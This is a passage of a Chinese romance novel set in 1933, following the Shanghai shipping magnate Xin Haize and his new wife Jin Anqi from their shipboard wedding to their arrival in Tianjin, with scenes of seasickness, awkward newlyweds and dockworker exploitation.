偏偏这个时候,辛海泽又站上阶梯,邀请她一起共舞,金安琪连忙后退。

「对不起,我先失陪了。」为了避免当场出糗,金安琪双手拉住礼服两边的裙襬,便转身跑上楼,消失在某一扇白色的房门之内。

辛海泽刚伸出去的长腿,就这么硬生生卡在空中,两眼凝望着金安琪的房门。

她果然不喜欢他。

他悄悄收回脚步,转身走出金家的大门,在众人好奇的目光下坐上车。一坐稳,辛海泽马上从西装的口袋里头,拿出金安琪当年遗失的小金炼,摊在手中痴痴凝望。

终于,他还是等到她了。

辛海泽宝贝不已地将小金炼又放回到西装口袋,再度收好。

「回家。」他吩咐司机,凯迪拉克452型豪华敞篷车,立刻有如上膛的子弹,转眼射向上海繁华的大街。

以韦皓天为首的五龙,在上海出尽了锋头,分占了好几项重要的产业。韦皓天的主业是银行业,另外在铁路和电车上也多有投资。傅尔宣的主力是代理洋行,不过近年来旗下所开设的广告公司,也在竞争激烈的广告业中闯出一片天,反倒后来居上,业绩超越了洋行。而行事低调的辛海泽,却是主攻气势最为磅礴的船舶业,他并且运用了既有的资源朝运输业及旅行业伸出了触角,近几年更是买下了天津附近几处重要矿山开采煤矿,俨然是新一代的煤矿大亨。

所以一直有人估计,辛海泽的财产早已经超过韦皓天,跃登五龙之首。只是他行事素来低调沈稳,凡事不与人争锋,才会让大家产生一种他仍落后韦皓天的错觉。

只不过,辛海泽这次出面标下金安琪的举动,跌破了大家的眼镜,不仅如此,一向回避记者,谢绝采访的辛海泽,更破例邀请了各家报社记者,登上他刚建造好的豪华客轮,观赏他和金安琪在船上举行的婚礼。

这当然是则大新闻,其婚礼的豪华气派更胜于三年前韦皓天和郝蔓荻的那场婚礼,当时郝蔓荻还因为穿着过于暴露,被商维钧一脚拐进私家花园的湖中,成了当天最有趣也最讽刺的花絮,只要是三年前跑过这场婚礼的记者,每个人都忘不了。

然而今天在场采访的记者们,也同样忘不了这场婚礼。只见总吨数达3250吨,马力2500匹的三层豪华客轮,到处挂满了红色巨型彩带,雪白的船身,并漆上了巨大的三个字:「天使轮」。

这样的安排到底是巧合还是刻意未可得知,只是大家都纳闷辛海泽明明是用钱标下金安琪,可一举一动,却像是自由恋爱好不容易开花结果所端出来的派头,怎么想都不对劲。

有不少脑筋动得快的记者,已经开始想挖消息,试图挖出这桩婚姻的内幕,但也有猜疑心比较没有那么重的记者,纯粹是来报导这场世纪婚礼,顺便享用辛海泽精心为大家准备的餐点,和品尝傅尔宣特地为这场婚礼进口的上等洋酒。据说光酒的钱就足够一个普通的五口之家过上一年好日子,可见辛海泽有多大手笔,完全是不计成本,务必要将婚礼办得风风光光,给足金安琪面子。

身穿西式白纱礼服的金安琪,今天看起来分外美丽,虽然从头到尾就没见过她说一句话,但她那高贵的气质,高挑优雅的身段,仍是紧紧吸引每一个人的视线,教人惊艳。

而相对于金安琪的优雅美丽,站在她身边,昂然挺立的辛海泽却也毫不逊色。他今天穿着一套纯白色三件式西装,衬托出他高大结实的身材,乌黑浓密的头发,虽然规规矩矩用发油梳上去,但总有一、两撮发丝不听话地掉下来,为他原本已经够忧郁的气质,增添一丝落寞的气息。

不消说,现场的叹息声必是不绝于耳,许多单身未婚的女性都偷偷躲起来哭泣。五龙从来就是她们的梦想,眼看着梦想一个接一个破灭,她们有多痛心疾首可想而知。先是韦皓天娶了郝蔓荻,接着傅尔宣又在半年前完婚,现在辛海泽又当着她们的面迎娶金安琪,唯一的希望只剩蓝慕唐和商维钧,成功机率足足减损了一半。

一票未婚的名媛淑女,决心争取这不到一半机率的机会,于是婚礼上就见到一堆打扮入时的年轻女孩追着蓝慕唐跑,只有几个比较大胆的女性,敢主动跟商维钧攀谈,他也不吝露出淡淡的笑容,秋水般的凝眸令人怦然心动。

一场婚礼办下来,既给足了金家面子,也让报社记者有了里子,同时还让一票未婚女子充满了希望,可谓是皆大欢喜。

大家都玩得尽兴,任谁也没想到,平时最低调简朴的辛海泽,花起钱来竟是这么大气,眼睛都不眨一下。

他除了提供西式大菜,无限供应上等美酒之外,并且还命令船长,载着所有宾客在黄浦江附近绕一圈,让大家能一边喝酒,一边欣赏黄浦江沿岸优美的景色,直到婚礼结束,大家还津津乐道,甚至有人考虑未来的结婚典礼也要比照办理,间接达到广告效果。

每个人都很快乐,唯独金安琪苦着一张脸,闷闷不乐地坐在一旁。当然大家都很同情她的处境,不过能够嫁给辛海泽这样的男人,实在也没有什么好抱怨的,除非是嫌弃他的出身。

「谢谢您拨空大驾光临,请慢走。」

一直到最后的送客阶段,她的脸色都没有好转,一样还是很差。

「祝你们夫妻百年好合,永结同心,早生贵子。」宾客们嘴上说些吉祥话,但心里都在怀疑金安琪是因为看不起辛海泽的出身,脸色才这么难看,毕竟她是名门之后,血统纯正程度,比起郝蔓获有过之而无不及,难怪她会不甘心。

大伙儿心照不宣,皆因有些话是只能放在心里,不能公开讲的。

在经过一个下午的狂欢,宾客们都心满意足的下船,以金安琪为名的「天使轮」,终于能够启航,往他们真正的目的地──天津驶去。

时正一九三三年,中国境内无论是陆路或是水运都很发达,飞机因为票价昂贵,除非是军政要员,或是绅耆富商,不然一般人是坐不起的。上海因为和天津相隔遥远,大家多是坐火车或是轮船,而轮船因为比较平稳舒适,收费也较合理,广受一般旅客欢迎。

辛海泽的主要业务,就放在船运这区块上。

他不只拥有客轮,还拥有货轮,航线几乎遍布中国各地。以现在他们身处的「天使轮」为例,就是他专门建造来行驶上海、天津两地的客货两用的大型轮船。

「开船喽!」

远处的甲板传来旅客兴奋的喊叫和汽笛的鸣叫声,透过微微开启的玻璃窗户窜入舱房,和房间内的沈默呈强烈对比。

辛海泽因为在船上举办婚礼,因此耽误了原本的开船时间,为了弥补旅客的损失,无论是特等或是一到五等舱,乃至于散席统统半价优待,乐坏了搭船的旅客。

他的大手笔,不只反映在这次婚礼的排场,也反应在商业手段上。辛海泽无庸置疑是个高明的经营者,同时也是一位非常细心的新郎,他所精心规划的这一切,完全是为了留给金安琪深刻的印象,但她好像不领情,脸色依然坏得像鬼。

随着客轮驶离黄浦江口,金安琪的脸色越来越坏,几乎已到达了毫无血色的地步。

派对早已结束,宾客早已离船,偌大的舱房只剩下辛海泽和金安琪两人,但他们却无话可说。

辛海泽打量着金安琪苍白的脸色,她看起来真的不太好,不仅从头到尾未发一语,他并且注意到从登船开始,她就一直显得很紧张,手心一直冒汗。他之所以知道,是因为他不小心牵了她的手被她甩开,才发现她的手竟然都是冰的。

想到她居然讨厌他讨厌到公然挥掉他的手,辛海泽的眼神就沈了下来。也许,她真的很瞧不起他,她是名门之后,他却只是一个来自穷乡僻壤的农民,还干过挑夫,被看低也是必然的吧!

窗外的微风,夹杂着下层甲板偶尔飘来的笑语,不时飘进舱房,吹动窗边的白色蕾丝薄窗帘。

今天是他们的大喜之日,两人却默默相对无言,辛海泽怀疑再这样下去,他们要怎么熬到晚上?

「我……」他想跟她说些不要担心他会踰矩之类的话,这时船身突然剧烈地晃动了一下,应该是到达江口,船即将出海。

「恶!」受船身猛烈晃动的影响,金安琪再也忍不住胸口那股强烈的呕吐感,冲到垃圾桶前蹲下来大吐特吐。

「安琪?」辛海泽见状愣了一下,之后也冲到她身边,用手拍她的背,帮助她把胃里面的东西全都吐出来。金安琪之前在婚宴上本来就吃得不多,这会儿因为晕船更是一下子清光,脸色更显苍白。

「对不起──恶!」金安琪原本想跟辛海泽道歉,说她失态了,但酸液一直在她的胃里头翻滚,让她止不住呕吐,辛海泽更加用力地拍她的背。

「没关系,我去拿条湿毛巾给妳,妳等我一下。」他赶忙跑到浴室,从毛巾架上取下一条毛巾,打开水龙头将毛巾弄湿,再匆匆忙忙跑回金安琪身边,温柔地擦拭她的额头。

金安琪困窘地闪避他的手,觉得很无力,她好像老是在他的面前出糗,先是被拍卖,现在又晕船,他一定觉得她很麻烦。

「妳要不要到床上躺下?」辛海泽一点都不怕麻烦,让他感到泄气的是她的态度,她似乎很讨厌他。

「好。」她点点头,她的头确实很晕,躺下来会好一点。

在辛海泽的搀扶下,金安琪总算能上床休息,不过脸色依然很差,嘴唇都发白了。

「妳晕船了吗?」辛海泽看过太多会晕船的人,他们的反应和她一模一样。

「嗯。」她虚弱地回应了一声,间接告诉辛海泽,她并不是真的讨厌他,只是身体和情绪不受控制,没办法正常反应罢了。

辛海泽的嘴角不由得勾起一抹微笑,金安琪虽然不知道他在笑什么,但觉得他的微笑很好看,便多看了一眼。

辛海泽误以为她是生气他太没同情心,连忙敛起笑容,严肃地说道。

「妳最好闭上眼睛睡一会儿,我去船医那边,帮妳找几颗止头痛的药来。」就怕会破坏她好不容易才产生的一点好感。

「不必麻烦了……」

「请妳闭上眼睛好好休息,我拿到止痛药以后就回来。」辛海泽既礼貌又婉转地对她施压,金安琪这才发现到,原来他也是个霸道的人。

霸道的忧郁王子……

看着辛海泽高大英挺的背影,金安琪安心地闭上眼睛,在对辛海泽无限的幻想下入睡。

「安琪──」

十分钟后,辛海泽回到舱房,发现金安琪已经睡了,于是将手中紧捏着的止痛药,放进西装口袋,悄悄地走到她身边坐下,守护金安琪。

这是他的天使,他的安琪儿。

辛海泽的守护看似无边无尽,却又那么安静。

只要他的安琪儿不讨厌他,那么,他会一直等下去。

一直……


「二十二万元。」

「二十五万元。」

「二十七万元。」

「三十万元。」

「三十二万元。」

「三十六万元。」

「四十万元。」

兴奋的喊价声不绝于耳,每个男人都杀红了眼,非要标到她不可。

不要……不要这么对她……她不是畜牲,更不是货物……

「一百万!」

突然间出声的男人,将她从困窘的处境中救出来,那个男人是……

掀开沉重的眼帘,喊出天价、让她免于困窘的男人就坐在不远处的沙发上,他正在看报纸。

很显然地,他不知道她已经醒了,这给予她能够充分欣赏他的时间。

金安琪虽然就读于教会大学,但能看见男生的机会不少,就是没看过像他这种类型的男人。

他的眉毛很浓,却长得十分整齐,没有太多的杂毛,眉型相当漂亮。他的鼻梁并且非常挺直,带点希腊鼻的味道,嘴唇厚薄适中,脸颊略微丰腴,看起来既不会太阳刚,也不会太阴柔,刚刚好。

打从金安琪看见辛海泽的第一眼起,其实就已喜欢上他。只是严谨的家教和害羞的天性,让她习惯把一切感觉埋在心底,不敢让感情外露,甚至连想打量他,都得趁他不注意的时候,让人替他们未来的进展,感到十分忧心。

辛海泽手中的报纸一页翻过一页,两道浓眉彷佛看见了什么不好的新闻而蹙紧。但即使如此,金安琪依然觉得十分好看,事实上,他的一举一动都很迷人……

「妳醒了?」好不容易辛海泽发现金安琪睡醒,却已经是五分钟后的事,金安琪忙点头。

「早就醒了……」说完,她不好意思地低下头,一颗心怦怦地跳。

「感觉好一点了吗?」辛海泽将报纸折好后问金安琪。「我帮妳拿了止痛药回来,瞧见妳已经睡了,便不想吵醒妳,药还在我这里。」

辛海泽将口袋内的白色药丸掏出来给她看,焦急的模样,让金安琪既感动又觉得他很好玩,他好像怕她不相信他。

「谢谢你,我的头痛已经好多了,也不再想吐。」只是金安琪一想起自己竟然在他面前呕吐,就沮丧得想杀死自己,这并不是一个大家闺秀应有的行为。

「那就好。」听见她的话,辛海泽总算能放心下来,他在她床边坐了好几个钟头,就怕她醒来没人照应。

辛海泽对金安琪的关心溢于言表,金安琪同样觉得很感动,同样不知道如何接受。

「妳要不要起来吃点东西?」辛海泽指着一桌子的饭菜问金安琪,她才发现居然已经到了晚餐时间。

「我不知道妳喜欢吃什么,就请船上的仆欧什么都帮我拿一点,希望合妳的胃口。」

摆在桌子上的,除了有一般上海人喜欢吃的泡饭之外,还有一些西式大菜,另外还有白稀饭。

「不过我建议妳最好吃稀饭,比较清淡,对妳目前的状况比较有帮助。」辛海泽显然相当了解她的需要,也都非常体贴地帮她准备好了。

「好,谢谢。」她小声地跟他道谢,下床走向饭桌,辛海泽连忙起身帮她拉开椅子。

「请坐。」他好像也不知道怎么对她才好,表情跟她一样尴尬。

「谢谢。」除了这句话,她不知道能说什么。

辛海泽同样不知道该说什么,只得默默帮她舀了一碗稀饭,放在她面前。金安琪实在很想告诉他不必这么做,他不是她的仆人,相反地,她才是他买来的人,就算她曾经是大小姐,也是过去式,他实在不必这么客气。

但她到底没说,也没勇气说,只是默默拿起筷子,安静地吃饭。

晚餐的菜色相当丰富,金安琪一口也吃不下,一直想问他话。

「我……」算了,还是不要问好了。

「嗯?」虽然她说得小小声,辛海泽还是听见了,反问金安琪。

「我是说……」她怯怯地开口。「我是想问你,我们是不是要到天津去,没有别的。」

金安琪原本是想问他为什么娶她,但着实没有勇气,只得临时转话题。

「没错,我们是要到天津去。」辛海泽点头。「我在天津那边,还有些公事要处理,如果时间允许的话,回程的时候可能还会在秦皇岛耽搁一点时间,但是不一定,如果时间不够,就不去了。」

辛海泽之所以选择在船上举行婚礼,有三个原因。一是藉此宣示他的财力,留给金安琪好印象;二是带她去天津蜜月旅行;最后一个也是最主要的原因,是处理开滦矿区的事,那关系到上海熟煤的供给量,间接也影响到他对电厂的投资,因而不得不来。

「原来如此。」对于公事,金安琪向来不多问。她父亲是一个失败的经营者,生意失败,人际关系也糟得一场糊涂,所以她才会成为家族最后一粒救命仙丹。

「委屈妳了。」对于这类方便的安排,辛海泽觉得很抱歉,她一定会认为他是个很无趣的人。

「一点也不。」金安琪摇摇头,不认为这样的安排有什么不妥,反而觉得他很会利用趋势和时间,难怪他会成功。

两人说完这几句话后,又再度沈默。对金安琪来说,天津似乎是个很好的话题,于是她又继续问。

「天津是个什么样的地方,好玩吗?」她只是随口问辛海泽,只见他一脸错愕。

「妳没去过天津?」他以为她什么地方都玩遍了,毕竟他们第一次相遇就是在船上,虽然她也许早已经忘记。

「我──我没去过。」她知道大部分的豪门子弟、千金大小姐,成天呼朋引伴到处游玩,江南江北没有一个地方不见他们的踪迹,但她就是没有那么好命,她也没有办法。

一阵难堪的沈默,弥漫在他们周围。

对金安琪而言,这样的困窘并不下于被公开拍卖,至少那个时候她还能装装样子,如今却等于间接承认,她是个没有见过世面的土包子、阿木林,真个是很丢脸……

「天津是个很好玩的地方,热闹程度并不下于上海,是北方最热闹的都市。」

就在她羞愧到几乎抬不起头的时候,辛海泽突然温柔地回应,为她介绍天津的美丽。

「那儿也有租界,生活形态跟上海差不多,只是风情不太一样,风景也大不相同,要等妳亲自体验过才知道。」上海不过两个租界,天津却有九个租界,分属于各个不同的国家,想当然耳风情也大大不同。

「听起来好像很有趣的样子。」金安琪感激地看着辛海泽,谢谢他没有再追问她为什么没到过天津。

「是挺有趣的。」辛海泽淡淡一笑,沈默再度降临。两人同时间低头拨弄碗里面的菜肴,猜想下次谁会先开口。

「妳怎么会晕船?」结果是辛海泽先开口。「我记得妳应该不会──」

只是他虽然先开口了,却又不把话说完,金安琪根本听不懂他说什么。

「我应该不会怎么样?」她不晓得他为什么话说一半,就不再说下去。

「没什么,当我没问。」辛海泽咕哝一声,便又低头继续吃饭,金安琪始终不明白他想讲什么。

晚饭时间结束,金安琪的心跳,随着舱房角落的座钟,开始加快。

今晚是他们的新婚夜,可说穿了,他们根本还是陌生人,要怎么突破那一层关系?

脑中尽是她和辛海泽上床亲热的画面,金安琪的心怦怦怦地跳,感觉心脏就要跳出胸口……

「安琪。」辛海泽突如其来的呼唤,差点没教她吓破胆,她巍巍颤颤地转身。

「什么事?」她尽可能表现出冷静,尽可能假装处之泰然面对即将来临的亲密关系,可天晓得她真的很紧张。

「我不会碰妳的,妳不必害怕。」他知道她在担心什么,也不认为她已经准备好,他并不想霸王硬上弓。

「辛……」她甚至紧张到连他的名字都喊不出来,辛海泽只能苦笑。

当天晚上,他就睡在舱房的沙发上,一觉到天明。「天津到了!」

一声又一声兴奋的惊呼声,从甲板此起彼落地传进最上层的特等舱,金安琪明显松了一口气。

「准备下船吧!」辛海泽早已将他们的行李都整理好,就等水手下锚。

金安琪点点头,好高兴他们终于能重新回到地面上,连续几天的大风浪,把她摇到头晕眼花,几乎下不了床,如今总算能够摆脱这尴尬的局面,让她如释重负。

体积庞大的巨型豪华客轮,在领航员的指引下驶进天津港内。客轮一就定位,船上的水手就忙着下锚,和码头上协助定锚的工作人员一上一下吆喝呼应,忙碌景象煞是有趣。

「下船喽!」迫不及待登陆的旅客,船刚靠稳,便提着行李等在楼梯前,等着上岸。

水手将船身的楼梯放靠岸边,只见整船的旅客,像蚂蚁一样往楼梯挤,逼得岸上的工作人员,不得不出面疏通。

「不要挤,慢慢来,当心落水。」

码头上的工作人员喊得震天价响,唯恐旅客发生意外,旅客们这才乖乖排队下船。

好不容易,一到五等舱的旅客都走得差不多了,他们这些住在客轮最上层的旅客,终于可以开始下船。

「我来提行李。」

金安琪才刚要弯腰提皮箱,辛海泽的大手不期然早她一步把皮箱拿走,完全不让她动手。

「只是一只小皮箱,我可以自己提的……」金安琪仰望将她的皮箱紧紧拿在手上的辛海泽,他的脸上写满了不赞同。

「反正没多少行李,让我来就好。」辛海泽对金安琪的保护密不透风,不愿她花丁点儿力气,金安琪除了无奈之外,就是感激,他真的好为她着想。

就如同他所说的,他们没有几件行李,他只带了一口大皮箱,和一只黑色牛皮制的公事包。而她更可怜,连个大皮箱都没有,只有一口小小的白包皮箱,里面装满了她所有家当,她母亲送她的蓝色雕花小座钟,就在里头。

他们几乎是最后下船的旅客,而且所受到的待遇也明显不同,每个人都对他们客客气气,大概跟他们的身分有关。

「小心慢走。」成群的仆欧,分别站在楼梯两侧恭送他们下船。直到此刻,金安琪才明白辛海泽的财力有多雄厚,势力有多大,大家都要对他礼让三分。

金安琪极不习惯地跟在辛海泽的身边,一步一步走下船。他们才刚下码头,轮船的甲板上随即出现一位船员叫住辛海泽。

「辛先生,请留步!」

船员边喊边跑下船。

「船长要我传话,说是要和您商量有关回程航线的事,请您到船长室一趟。」船员跑得喘呼呼,可见确实是一件急事。

辛海泽为难地看着金安琪,想离去又不敢离去。他乡异地,码头又乱,就这么留下她一个人,他实在不放心,因而犹豫不已。

「没关系,我一个人没有问题,你尽管去忙你的事情,不必管我。」金安琪见状连忙摇手,向他保证一切都很好,辛海泽还是犹豫。

「真的无所谓。」她再三保证,并且一把抢过他手上的行李,证明她很坚强。

「我会乖乖地站在这里,直到你回来为止,你放心好了。」她接着又用微笑加强她的可信度,有几秒钟的时间,辛海泽考虑将她一并带去见船长,但想想船员之间其实有一些禁忌,比如不欢迎女性进入船长室,也就算了。

「我很快就回来。」他伸手要将金安琪的行李拿回来,但金安琪不肯给,不想增添他的负担。

「好。」金安琪点点头,目送他上船,心里涌上一股不合理的孤单感。

她摇摇头,觉得自己好傻。不过才相处了几天,她就已经习惯他的陪伴,自己是不是太孤单了?

金安琪是个独生女,既没有兄弟姊妹陪伴,也找不到朋友吐露心事,凡事只能靠自己。高兴的时候没有人分享,悲伤的时候更不会有人分担,虽然身处于上流社会,但家里其实老早只剩一具空壳,金老爷子也不可能允许她对外张扬家里的经济状况。

说起来很可悲,金安琪虽然表面上看起来是富家千金,事实上却比普通人家的小家碧玉还不如,至少她们可以自由地表达情绪,她却被教导凡事内敛谨慎,不能表露自己的感情,谁能说她不悲哀呢?

码头上人来人往、热闹的景象,很快俘虏她全部的注意力,将那些悲伤置之脑后。

她好奇地看着那些挑夫们,在码头和船只之间来来回回不停地走动,每个人的肩膀上都驮了很重的货物,但身手却非常灵巧,丝毫不显费力。

她看着看着,如此不知过了多久,手上的箱子开始变得沉重,她干脆将皮箱放在地面上,让已然发酸的手休息一下。

岂料,她方才放下皮箱,一双大手紧接着拎起她的小皮箱,吓得金安琪以为遇见强盗。

她惊惶失措地抬起头,还没来得及喊「抢劫」,就看见辛海泽站在她旁边,连忙又把话吞回去。

「妳就这么随便把行李放在地上,很危险的。」

原来伸手拿她皮箱的人,就是辛海泽,害她差点以为遇见抢匪了呢!

「为什么?」他看起来好紧张。「只是稍微放松一下,应该没有什么关系。」

「很难说。」辛海泽摇摇头。「如果这里也有像上海码头那些不法组织,那么随便将行李放在地上就会变得很危险,难保妳的行李不会被人从地板下偷走。」消失得无声无息。

「地板下?」金安琪无法理解地看着辛海泽,他只好进一步解释。

「码头的地板。」他特意用皮鞋的前端敲了敲他们脚下的地板,让她明白其中的蹊跷。

「码头的地板都是用木板做的,有些小偷会将其中的一、两块木板改为活动地板,再潜伏在地板下,伺机盗取旅客的行李。运气不好的人,很容易因此而弄丢行李,就算报警也没有用,因为这些小偷都有码头恶霸让他们当靠山,巡捕往往也是睁一只眼闭一只眼,随便应付了事,不会认真帮忙找行李。」时局纷乱,不要说遗失行李,就算人身安全都要谨慎小心,更何况那些巡捕和黑帮之间都有一定程度的默契,万一出了事,只能自认倒楣。

「原来如此。」她总算了解个中原因。「我还以为只有上海会这么乱,没想到天津也一样。」

「只要有利可图,到哪里都一样。」辛海泽相当内行的分析道。「妳看那些脚行──」

「脚行?」

「就是挑夫。」只是各地用语不同,辛海泽解释。「举凡货栈码头,大多由外商公司经营,这些外商公司为了管理方便,都会雇用一些包工头,但这些包工头大多是流氓出身,和黑帮多有挂勾,串通好压榨这些辛苦的脚夫。」行为非常恶劣。

「他们怎么压榨脚夫?」金安琪无法想象竟有这种事。

「抽佣金。」辛海泽答。「包工头从脚夫身上,抽取百分之六十的佣金,脚夫的货搬得越多,他们拿的佣金越多,脚夫辛苦了大半天,也只能拿到百分之四十的酬劳,包工头却什么事也不必干,就能不劳而获。」

「这么坏?」金安琪闻言倒抽一口气,这不等于无本生意?

「没错。」辛海泽又答。「不仅如此,这些脚夫逢年过节,还得给包工头送礼,若是规模大一点的码头,还会额外雇请小工头,他们也会要求送礼。有时候连他们亲属的婚丧喜庆,都要脚夫分摊送礼的费用,到最后脚夫们能拿到的钱少之又少。」根本是层层剥削。

「他们不能到其他的码头工作吗?」金安琪大感不平的追问。「如果这个码头的包工头这么坏,也许可以选择其他码头……」

「没这么简单。」辛海泽摇头,她的想法太天真了。「把持码头的大多都是帮会,只要彼此说好了不用谁,谁就不可能在其他码头找到工作。」

帮会在某些方面,维持了既竞争又合作的关系,大部分的时候是对立的,但必要的时候也会携手合作,码头的用人就是一例,因为关系到利益。

这些规矩,金安琪当然不可能知道,但她很好奇辛海泽为何了若指掌。

「你怎么知道得这么清楚?」好像身历其境似地精确。

金安琪原本只是随口问问,岂料辛海泽的身体会突然僵住,表情变得木然。

他之所以会这么熟悉,是因为他自己就当过挑夫,被那些冷血无情的包工头压榨过,所以他才会这么清楚内幕。

他干过苦力,这并不是什么秘密,只要是对小道消息有点研究的人都知道,他发迹前就是一名挑夫,他也从不隐瞒。

只是,他虽然觉得这没什么好丢脸,但在金安琪面前,却也无法畅快地说出自己的经历。毕竟他也有自尊心,在喜欢的人面前也想要保持荣誉,这种种的因素,都让他的身体僵直,神情凝重,无法回答金安琪的问话。

或许是辛海泽表现得太明显了,也或许是金安琪从很早以前便学会凡事不要过问得太多,因此她几乎是在辛海泽拉下脸的同时便闭嘴,让这个话题自然跳过。

但是既然已经问出口了,想要装作一切都没发生,当然不可能。于是他们熟悉的沈默,又悄悄回到他们之间,将他们隔离在心的两头。

「有好多脚夫。」只是沈默难挨,金安琪到底还是说话了,好奇的语气引来辛海泽的注意。

「我以为妳早已习惯这样的场景。」只要是旅行,一定会碰见相同情形,无论是搭火车或乘船,一定都有很多等在站口或是码头,抢着帮旅客提行李的脚夫,赚取微薄的小费。

「从我十岁开始,就不曾远行了,我并不是很清楚脚夫的情形。」儿时她家境还好的时候,的确时常旅行,搭船或是搭火车不一定,但共同点是全靠她母亲打理,她父亲完全不管。

「安琪……」

「很早以前,我家就是空壳子,只是金家在外的名声,让我们不得不咬牙撑下去,所以十岁以前的事情我还记得,十岁以后,码头是什么样的发展,我一无所知,并不像你想象中的那么习惯脚夫的服务。」

这是很深沈的告白,触碰到的不只是内心的痛,还有那段属于过去的记忆。

辛海泽虽然老早就知道她家的经济出问题,但不知道情况这么严重,居然从她十岁起就过着克难的生活。

「对不起,说了不该说的话。」他太自以为是,造成她的痛苦。

「无所谓。」她耸肩。「反正金家没落是事实,也没什么好隐瞒的。」

到底她家只是空有血统,没有实力。反观他,虽然出身不好,但凭借着自己的努力和实力,在上海滩头闯出了一片天,生意并且越做越大,甚至有钱到可以花一百万元标下她,谁能说他不厉害呢?

在金安琪的内心深处,一直觉得配不上辛海泽,他高大英挺,又有成就,是所有女性的梦中情人。她一点也不明白,他为什么娶她,难道真是为了她的血统?

存在于金安琪心中的疑问,换到辛海泽的心底,却成了另一个痛。她对他的怨恨,是那么清晰可见,若不是为了家庭,她恐怕不会乐意嫁给他吧!毕竟他的出身太低,是完全配不上她的。

两人的想法南辕北辙,唯一的共通点是他们都弄错了,误解了彼此的想法。

天津港口的风大,飕飕掠过的冷风恰似他俩的心情。

究竟要到何时,他们才能拨开迷雾看见曙光?

谁也没有把握。


利顺德饭店是天津最古老的外资饭店,建造的年代很早,十九世纪就已经存在了。采英国古典建筑的利顺德大饭店总楼层不高,不过五层而已。但里面的设备应有尽有,除了舒适豪华的客房及餐厅之外,还有保龄球馆、游泳池及舞厅,许多名人都住过这家饭店。

辛海泽和金安琪甫到达利顺德饭店,刚要办理住房手续,柜台经理立刻拿出一个信封,交给辛海泽。

「辛先生,有您的电报,半个钟头前才收到的,请您过目。」

「谢谢您,马经理。」辛海泽显然是这家饭店的老客人,不但和门房熟悉,跟柜台经理也颇有交情,他人还没到饭店,事情就先帮他处理了。

「不客气,辛先生。」饭店经理对金安琪微笑,金安琪也大方回给他一个笑容。

辛海泽打开信封,拿出电报仔细观看内容,越看眉头锁得越紧,最后将电报折好,放进西装口袋。

「抱歉,安琪。我恐怕必须先外出一趟,请妳一个人先回房间。」他拿起刚脱下的帽子重新戴上,一脸抱歉的对金安琪说道。

「怎么回事,有不好的消息吗?」她不介意独自一个人留在房间,但他着急的脸色令人好奇。

「其实也还好。」辛海泽耸肩。「只是矿区那边出了一点小状况,怕不能及时供货,问我要怎么处理而已。」

「矿区?」她听得一头雾水。

「我在开滦那边买了一处矿坑开采煤矿,将开采后的煤炭从秦皇岛装船运回上海,再交给煤气厂提炼成熟煤,我现在就要去天津分公司,探问一下详细情形。」

近几年来辛海泽的生意越做越大,除了既有的海上运输事业,如今又涉足煤矿业,难怪大家会传说,他的总资产已超过韦皓天。

「那你赶快过去吧!」金安琪没想到他是这么了不起的人,就连他们每天都在使用的熟煤他也参了一脚,并且拥有自己的矿坑。

「我会尽量早一点赶回来。」辛海泽提起公事包就要离开饭店,金安琪目送他离去,在他快要走到门口的时候,他又突然转身。

「妳愿意跟我一起吗?」他问金安琪。「反正妳待在饭店里面,也没有事情可做,不如跟我一起到公司。」省得他挂念。

「可以吗?」她有些错愕。「我真的可以跟你去公司?」

「当然可以。」辛海泽微笑。

「我很乐意。」金安琪欣喜若狂,但又不能表现出来,只得压抑自己的情绪。

「我们走吧!」即使她仅仅只是微笑,辛海泽仍然觉得很高兴,至少她没有拒绝他,这就够了。

他们请饭店柜台经理帮他们叫了一部出租车,当他们到达天津分公司的时候,分公司的负责人还很惊讶,直呼他们怎么突然来了。

「您怎么没事先通知我派车去接您?」天津分公司的经理,一见着辛海泽就拚命同他握手。

「出租车很方便,就不必麻烦了。」辛海泽亦很热络地同分公司经理握手,金安琪好奇地在一旁看着,心想男女之间的打招呼方式还真是大不相同,女人就简单多了,顶多点头。

「这位是我的新婚妻子,金安琪小姐。」握完手,辛海泽马上跟分公司经理介绍金安琪,只见她端庄的点头。

「很高兴见到您,先生。」态度和礼貌都一百分,完美无缺。

「原来是辛太太,久仰。」分公司经理用欣赏的眼光打量金安琪,心想她的气质可真好,长相也够漂亮,可惜就是拘谨了点儿。

金安琪微笑,第一次从别人口中听见「辛太太」这个称呼,感觉心里暖暖的、甜甜的,有种说不上来的好滋味,在她心里头发酵。

两个大男人打完招呼,紧接着进入正题,讨论矿坑的管理以及产量问题,辛安琪完全插不上嘴。

她静静地待在一旁,看着辛海泽严肃地和分公司经理讨论公事,发觉他无论做什么事都很专注,一举一动都教人着迷……

「如果再有问题,马上打电报给我,好吗?」辛海泽很快结束和分公司经理的对谈,并要求他继续保持连络。

「我会持续追踪,您放心好了。」分公司经理好奇地看着辛海泽戴上帽子,从他踏进公司那一刻起便急着离开,应该是还有事情。

「那就麻烦你了。」辛海泽点点头,朝金安琪伸出手。

「啊?」金安琪完全无法会意,怎么她才在偷瞧他,会面便已经结束?

「我带妳到天津各处参观一下,把手给我。」辛海泽温柔的语气,说明他为何急着离开的原因,分公司经理会心一笑。

「好……好。」在分公司经理的注目下,金安琪双颊胀红地将手交给辛海泽,走出天津分公司的大门。

「等一下,老板!」就在他们快要步出门口的时候,分公司经理突然叫住他们。

「这是我的车钥匙,您一出门就瞧见车了。」并将汽车钥匙丢给辛海泽,他眼明手快的接住。

「谢了。」辛海泽也不矫情,况且他确实也需要一辆车子,带金安琪四处参观。

「祝你们玩得愉快!」分公司经理朝他们挥挥手,辛海泽举手致意,感谢分公司经理帮忙。

就如同分公司经理说的,他们一出门口就看见车子停在公司前面的空地上。

辛海泽殷勤地帮金安琪打开右边的车门,让她先坐进去,自己再从另一头上车。

金安琪知道他只是基于礼貌,仍然心跳不已,一颗心像小鹿一般乱撞。她好像越来越习惯他的陪伴,对他的感觉也越来越敏锐,算不算是一件好事?

金安琪真的很迷惑,但随之而来不停变化的街景,很快掳获她全部注意力,让她没有心思再想这个恼人的问题。

天津的风景,乍看和上海很像,一样是车水马龙,遍布着小洋楼。然而倘若深入了解,又会发现许多不一样的地方。这儿的人穿着和上海人并无二致,但毕竟地处北方,光吃的方面,就和位于南方的上海有很大的不同,各式各样琳琅满目的招牌看得金安琪眼花撩乱,在心里头大喊真好玩。

「我们要去哪里?」有趣的是,无论她再怎么兴奋,她的外表始终冷静,让人猜不透她真正心意。

「万国桥。」辛海泽面无表情的回道,同样让人难以猜透,他们这一对,还有得磨。

